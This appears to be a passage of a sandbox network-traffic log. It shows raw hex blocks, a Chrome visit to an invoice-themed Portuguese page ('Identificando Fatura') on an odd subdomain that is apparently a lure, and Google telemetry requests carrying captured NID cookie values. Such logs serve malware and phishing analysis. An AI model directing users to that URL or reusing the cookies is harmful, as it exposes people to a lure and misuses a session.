2024-12-21 07:40:07 UTC	4096	IN	Data Raw: 3d 5a d3 c4 0a 5a cd d4 68 b0 c5 4c 8e 11 50 77 36 1a 4d d6 9f 8d 96 c9 3a 74 2b d9 9f 3d af 6d 07 7c db 6a 39 63 b6 dd d2 db 8d 46 b8 5f b7 c6 62 bf d9 32 2c 4f ec 37 db 46 78 bc ee 4d 4c b1 bf d5 6c 1b 62 db f6 f4 89 d8 1e bb 4e 53 6c bb ae 1b 1e e3 19 86 27 05 3c ce 81 3e cf 81 74 f7 c1 24 10 01 8f f8 be 75 2c b1 52 05 9d eb 25 56 2b 5b 62 d5 1d ed 52 87 29 dd 65 be 89 ba 26 71 87 a2 b3 18 0b 76 cf e0 60 d0 bd 9d 1f 9c 5d 60 87 39 38 7b 43 c5 10 7e 59 0d 28 df b0 52 18 53 3e fc 07 67 74 41 d3 0e ba 74 cf 83 ee 4f b1 aa 83 ee 21 0e 25 dd 57 78 a3 b3 21 0d ed 67 43 a2 ce a0 df dd 83 db 0e c8 00 7a 35 38 61 03 fc 5e ac 18 fc 0b 86 c3 a6 61 36 7c c3 35 83 e4 ea c4 d7 47 5d ec c1 66 70 88 54 8b 1b 83 fd a1 3f 6f 42 39 3c 27 c3 e6 60 0f db 41 ad e8 e3 93 97 Data Ascii: =ZZhLPw6M:t+=m\|j9cF_b2,O7FxMLlbNSl'<>t$u,R%V+[bR)e&qv`]`98{C~Y(RS>gtAtO!%Wx!gCz58a^a6\|5G]fpT?oB9<'`A
2024-12-21 07:40:07 UTC	4096	IN	Data Raw: 18 86 36 6a 86 ae 19 ba 66 e8 2f 9a a1 b7 d3 36 34 f8 d6 35 47 6f 0a 47 db 35 47 d7 1c 5d 73 f4 17 cd d1 c2 8a 1e c0 53 e2 fd 50 f7 6a 86 de 14 86 6e d4 0c 5d 33 74 cd d0 5f 00 43 2b 9e a1 ce bc db 70 76 2e 9f 79 67 d4 ec 5c b3 73 cd ce 1b c5 ce 51 bb 56 c1 ce 75 e6 dd a6 b1 73 f9 cc bb 9a 9d 6b 76 ae d9 f9 73 64 e7 3a f3 ee 61 71 76 f9 cc bb 9a b3 6b ce ae 39 fb 73 e4 ec 3a f3 6e 93 19 ba 7c e6 5d cd d0 35 43 d7 0c fd 39 33 74 9d 79 b7 89 0c 5d 3e f3 ae 66 e8 9a a1 6b 86 fe 1c 19 ba ce bc db 6c 8e 2e 9f 79 57 73 74 cd d1 35 47 7f 8e 1c 5d 67 de 6d 32 43 97 cf bc ab 19 ba 66 e8 9a a1 1f 2e 43 77 e1 28 44 2f c6 97 52 6e 07 d7 da 14 3b e7 73 ac 8c 5e 43 e2 94 62 a6 70 41 53 db 9a 0d ff 26 80 51 6b 25 4c b1 4c df 7a 9e 78 5e b5 9e 23 cb 9a 8a f1 41 9c 95 9f Data Ascii: 6jf/645GoG5G]sSPjn]3t_C+pv.yg\sQVuskvsd:aqvk9s:n\|]5C93ty]>fkl.yWst5G]gm2Cf.Cw(D/Rn;s^CbpAS&Qk%LLzx^#A
2024-12-21 07:40:07 UTC	4096	IN	Data Raw: f8 b3 60 3f 73 fd c7 f3 c3 7e 37 64 b5 fd 5e 1e 14 dc c0 5c ff 93 05 37 30 d7 7f fb e4 bf 05 77 30 d3 7f 70 bd e0 0e e6 fa af 4f 7e 2c b8 85 99 fe 03 cf 87 ae a6 1b c5 81 85 cf 04 56 d1 8d e4 61 c1 3d cc f5 f7 9e d0 ea b9 d1 3c 2a b8 89 b9 fe e7 0b 6e 62 ae ff 78 57 f0 45 c1 5d cc f4 1f 5c 29 b8 8b b9 fe 7b 16 de 17 5e 15 97 c5 cd 82 db 98 eb bf 77 f2 7d c1 7d cc f4 1f f8 1b d0 ef 32 f9 65 e1 ff 80 76 97 cd 1f e1 fb 98 ed ff f3 e4 db e0 7d cc f6 1f fc b6 c9 37 b1 ab ff da e4 9b 4d bc 89 5d fd 07 d7 96 7c 07 bb fb ff 34 f9 7c 49 37 f0 db fd 1f a2 18 41 72 13 b5 c4 fa 00 00 03 0c 6d 6b 42 54 fa ce ca fe 00 7f 29 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `?s~7d^\70w0pO~,Va=<*nbxWE]\){^w}}2ev}7M]\|4\|I7ArmkBT)
2024-12-21 07:40:07 UTC	4096	IN	Data Raw: ce b0 e7 5a f2 2f d0 c9 e9 3b 2f 78 86 17 d6 e1 ce 73 f5 fc 5f e9 06 b7 39 3f ff 1d ab 50 cc dc af 35 dd bb 5c ed 5b bd e3 79 7c de d9 02 18 c3 e7 f5 c4 8d 38 9d d4 cf dd f8 9f 67 00 e4 fb bf cb ca b1 4c 7b e4 3f 0c c3 30 0c c3 30 0c e7 18 5f e0 6b 33 be c0 e7 86 3e b4 92 e3 f8 02 9f 1b db dc c6 17 f8 7a e4 1a ab c9 f8 02 5f 83 9d fc c7 17 f8 fc 5c 53 fe e3 0b 7c 3c ae 29 ff 62 7c 81 8f c5 ca e7 37 be c0 61 18 86 61 18 86 61 78 6e 2e b5 95 74 eb 86 1c 61 7f 12 3f 6c c4 f7 5e 43 e3 95 df 11 76 6b ad ac d8 bd 23 ae e0 fd dc 7e 65 fb 90 ee 29 ff b4 33 3c 33 5e d7 07 db 1b b6 b9 c2 6b f0 ac 64 6c f9 63 7f c1 26 b7 6a 4b 2b 9b 9c e5 6f 7f 22 65 f2 fa 3c 2e e3 ca 9e 60 9b c1 ea 5e 28 33 7a cc f2 cf f6 e8 75 0a 9f c1 a6 6c db 2b 36 bb fa df 76 b4 ee 9b 3c 99 86 Data Ascii: Z/;/xs_9?P5\[y\|8gL{?00_k3>z_\S\|<)b\|7aaaxn.ta?l^Cvk#~e)3<3^kdlc&jK+o"e<.`^(3zul+6v<
2024-12-21 07:40:07 UTC	4096	IN	Data Raw: ab ce 9f 67 ba 5a cd 59 7c 3c f5 31 4e 79 c5 ac 7c 45 37 fe 6b fa aa cc ea fa 8e bc f7 b0 3f f5 ae d6 ff 7a 2f 6b 9b dc d7 3e e4 3c 9a cf ff 3d 8d ce 91 7d 4e 9f cd e5 bb 18 81 ce 85 f9 9e 01 19 fc 3e e5 75 e5 57 79 ad 64 ac ca ac ae af d2 64 7a 1c 0c 06 83 c1 60 30 18 0c 2a e8 dc 5c 3f 57 38 c0 47 a3 92 cb d7 1f 1f 01 cf e2 02 59 bb fb 1e cc d5 3a 82 fd d2 cf 44 15 67 ab f6 63 be 67 3c 8b 0b cc f6 32 2b b2 b8 80 ee d9 d5 fd ff 27 eb 57 b5 15 b1 36 bd 9e 71 6e d8 9f 7b 9e 07 72 e8 75 e7 22 77 b8 3c d2 54 6b f4 ce 2e 99 1e f4 5c a0 72 a4 95 be 6e e5 1b 4f e0 fb ef d5 3e 55 ec 8f 98 13 7e 63 87 23 54 3f a3 f1 2b ae eb 9e 79 f6 ef 7b bc 51 f9 c2 2c 8f 2c 5e 9d 71 46 1d 2f 58 c5 fb 76 38 ba 2e d6 a9 67 13 e1 d7 33 7d ed c8 b8 e2 02 4f 50 f9 7f ec 8f 0c 7e 6e Data Ascii: gZY\|<1Ny\|E7k?z/k><=}N>uWyddz`0*\?W8GY:Dgcg<2+'W6qn{ru"w<Tk.\rnO>U~c#T?+y{Q,,^qF/Xv8.g3}OP~n
2024-12-21 07:40:07 UTC	4096	IN	Data Raw: fe 00 7f ba 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 9c ed c3 31 0d 00 00 0c 03 a0 fa 37 dd 5d 55 31 48 48 80 b7 da aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa ea 1e 38 27 4e 05 c8 c2 5f 77 00 00 00 af 6d 6b 42 54 fa ce ca fe 00 7f c1 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 9c ed d1 Data Ascii: Wx17]U1HH8'N_wmkBTx
2024-12-21 07:40:07 UTC	4096	IN	Data Raw: 77 8c 6b d7 bd be a1 0b 23 b8 0f 6b 58 17 66 79 91 12 d6 45 c7 f7 9a c8 41 a9 cd 42 c2 39 c2 75 4d 10 b0 db de 34 50 3d b9 5f 04 d3 6c 92 90 c6 67 57 8f ae d8 87 dd 4e 95 14 d5 23 96 5f 6e 99 87 47 ef a4 70 03 70 0b 2c 5a 85 1e 12 ff 55 75 9b 36 c8 93 f7 c3 56 a6 9b d3 b0 b8 e5 30 45 4b 91 37 2a 7c b7 fd 18 5d af 7b 9d fc 37 35 46 5c e9 d4 b6 bb fa 7a 51 d8 15 a0 7a 21 e1 82 c7 07 09 75 15 48 80 3e ee ff f3 a6 75 70 9a b2 da f6 f5 54 d9 a3 bb 6f 33 50 29 88 f8 b4 5b e0 5e d5 36 e3 d6 da f3 e3 60 20 2d 9a 64 26 12 e1 2a 3d b6 25 c4 c0 ca 66 59 92 3c bf 5e 92 83 d8 b7 60 5f 36 9d a8 df c8 7c 68 1d b8 cc eb 05 33 d8 a1 3e 80 84 32 20 19 50 ba 10 fa 71 ff d7 37 07 15 cf 8e b3 0b fd d5 0e fc 2c 4e 73 be 6a bb 46 99 3d 42 b5 8a fc 60 0b a8 ed 81 b3 95 43 a7 f2 Data Ascii: wk#kXfyEAB9uM4P=_lgWN#_nGpp,ZUu6V0EK7\|]{75F\zQz!uH>upTo3P)[^6` -d&=%fY<^`_6\|h3>2 Pq7,NsjF=B`C
2024-12-21 07:40:07 UTC	4096	IN	Data Raw: 30 a8 40 e8 34 ed c7 fb bf 0b 03 d5 de 1e fb 35 b8 02 35 67 b5 95 78 ff 63 8e ed 54 bf 47 f4 dc fb 55 19 f4 23 af 52 d4 1b 43 43 c6 3f 74 64 78 c7 1c f4 86 f8 4c 60 8c c6 81 38 a7 f5 eb e9 64 67 73 54 e2 3f 0f 4d 36 7d 2c 0c 02 5f 9d 9a 93 20 1f 96 5c 82 6b d9 ac 04 de f8 9e 6c 74 ce 84 6c af 73 a0 8b 3a 6d 22 32 d7 e3 35 b7 62 01 65 5c 5d 08 5c f2 0c cb 9b dc e4 7b 78 61 df 4c 6f b9 8b 51 d3 7f 6c 50 77 4b 37 8d ec e9 3f 0f 4d ee a5 89 00 5e 61 2c d5 1f 5f fe 6c 62 28 d4 c0 31 87 3f f1 bf eb 83 06 ed f3 0e cf 33 93 1d 84 dd 8c 5e 37 a2 db f6 3a f0 10 85 cb de 83 c3 c3 5e ba 75 73 ac cf 9a 71 42 b9 38 2a c1 8d e8 68 80 47 78 8c 1f b0 59 fe 0f 43 93 6d 35 02 83 4d 7e ed 7b 53 1f 67 c0 39 6e e8 91 52 58 96 1d 43 7d 5b f9 ab 8b 17 9f 68 07 4f ce 74 43 9b 97 Data Ascii: 0@455gxcTGU#RCC?tdxL`8dgsT?M6},_ \kltls:m"25be\]\{xaLoQlPwK7?M^a,_lb(1?3^7:^usqB8*hGxYCm5M~{Sg9nRXC}[hOtC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	192.124.216.109	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:40:15 UTC	704	OUT	GET /fatura/fatura.html HTTP/1.1 Host: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-21 07:40:16 UTC	251	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 07:40:16 GMT Content-Type: text/html Content-Length: 2043 Last-Modified: Mon, 25 Nov 2024 09:29:54 GMT Connection: close ETag: "67444392-7fb" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-12-21 07:40:16 UTC	2043	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 49 64 65 6e 74 69 66 69 63 61 6e 64 6f 20 46 61 74 75 72 61 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="pt-BR"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Identificando Fatura</title> <style> body { margin: 0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	192.124.216.109	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:40:16 UTC	660	OUT	GET /favicon.ico HTTP/1.1 Host: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-21 07:40:17 UTC	238	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 21 Dec 2024 07:40:16 GMT Content-Type: text/html Content-Length: 808 Connection: close Last-Modified: Mon, 28 Oct 2024 17:43:05 GMT ETag: "328-6258d0045333e" Accept-Ranges: bytes
2024-12-21 07:40:17 UTC	808	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>404 Not Found</title> <link rel="s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49785	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:07 UTC	973	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 4049 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=POxeJ9RqjnOjw4mEt7ljQ6M7HfiblfDNGejWmZYDancwFctEz6rhzYgxOsUfr92C8dfYLM9z-6gH8GYmHTkSqLDUHsVdxBQaqlRa1j0CIqLaGLuwUTubmlzkr_mtTIcsSLgOBtUarVaE0QQar2Qdh9Z8r1w9S070TedAqjfBHpaKgu5Kwi8_K8o
2024-12-21 07:41:07 UTC	4049	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 37 36 36 38 36 34 36 34 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 5b 5b 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 31 37 33 34 37 36 36 38 36 34 36 34 39 30 30 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 31 37 33 34 37 36 36 38 36 34 36 34 39 30 30 30 5d 2c 6e 75 6c 6c 2c 31 5d 2c 6e 75 6c 6c 2c 37 31 36 2c 6e 75 6c 6c 2c 31 2c 31 5d Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[4,0,0,0,0]]],189,[["1734766864649",null,null,null,null,null,null,"[[[null,null,1,1734766864649000,null,null,null,[[1734766864649000],null,1],null,716,null,1,1]
2024-12-21 07:41:08 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=h6YoB2dnmcWahMlM0wdxXpaED7Tf8Z1eKuVuAgbLWjEDpa89LsY-fTsexsDalc2VtFrZUwlfLZdVUFnEgYEsPE5b5AVvqkrFx2NZoyDszxzmKyPpdb9tpgyfyz3Lg5rvKTKQ0i78B2Av93rKGkbiL4ev_y_c249A6NbQ2Lcz3_ZUdor235kK0WOJKk_Ybq4; expires=Sun, 22-Jun-2025 07:41:08 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:08 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 21 Dec 2024 07:41:08 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:08 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49794	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:09 UTC	995	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 887 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=POxeJ9RqjnOjw4mEt7ljQ6M7HfiblfDNGejWmZYDancwFctEz6rhzYgxOsUfr92C8dfYLM9z-6gH8GYmHTkSqLDUHsVdxBQaqlRa1j0CIqLaGLuwUTubmlzkr_mtTIcsSLgOBtUarVaE0QQar2Qdh9Z8r1w9S070TedAqjfBHpaKgu5Kwi8_K8o
2024-12-21 07:41:09 UTC	887	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 34 37 36 36 38 36 36 32 30 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1734766866201",null,null,null,
2024-12-21 07:41:10 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc; expires=Sun, 22-Jun-2025 07:41:10 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:10 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 21 Dec 2024 07:41:10 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:10 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49796	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:10 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 6269 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=h6YoB2dnmcWahMlM0wdxXpaED7Tf8Z1eKuVuAgbLWjEDpa89LsY-fTsexsDalc2VtFrZUwlfLZdVUFnEgYEsPE5b5AVvqkrFx2NZoyDszxzmKyPpdb9tpgyfyz3Lg5rvKTKQ0i78B2Av93rKGkbiL4ev_y_c249A6NbQ2Lcz3_ZUdor235kK0WOJKk_Ybq4
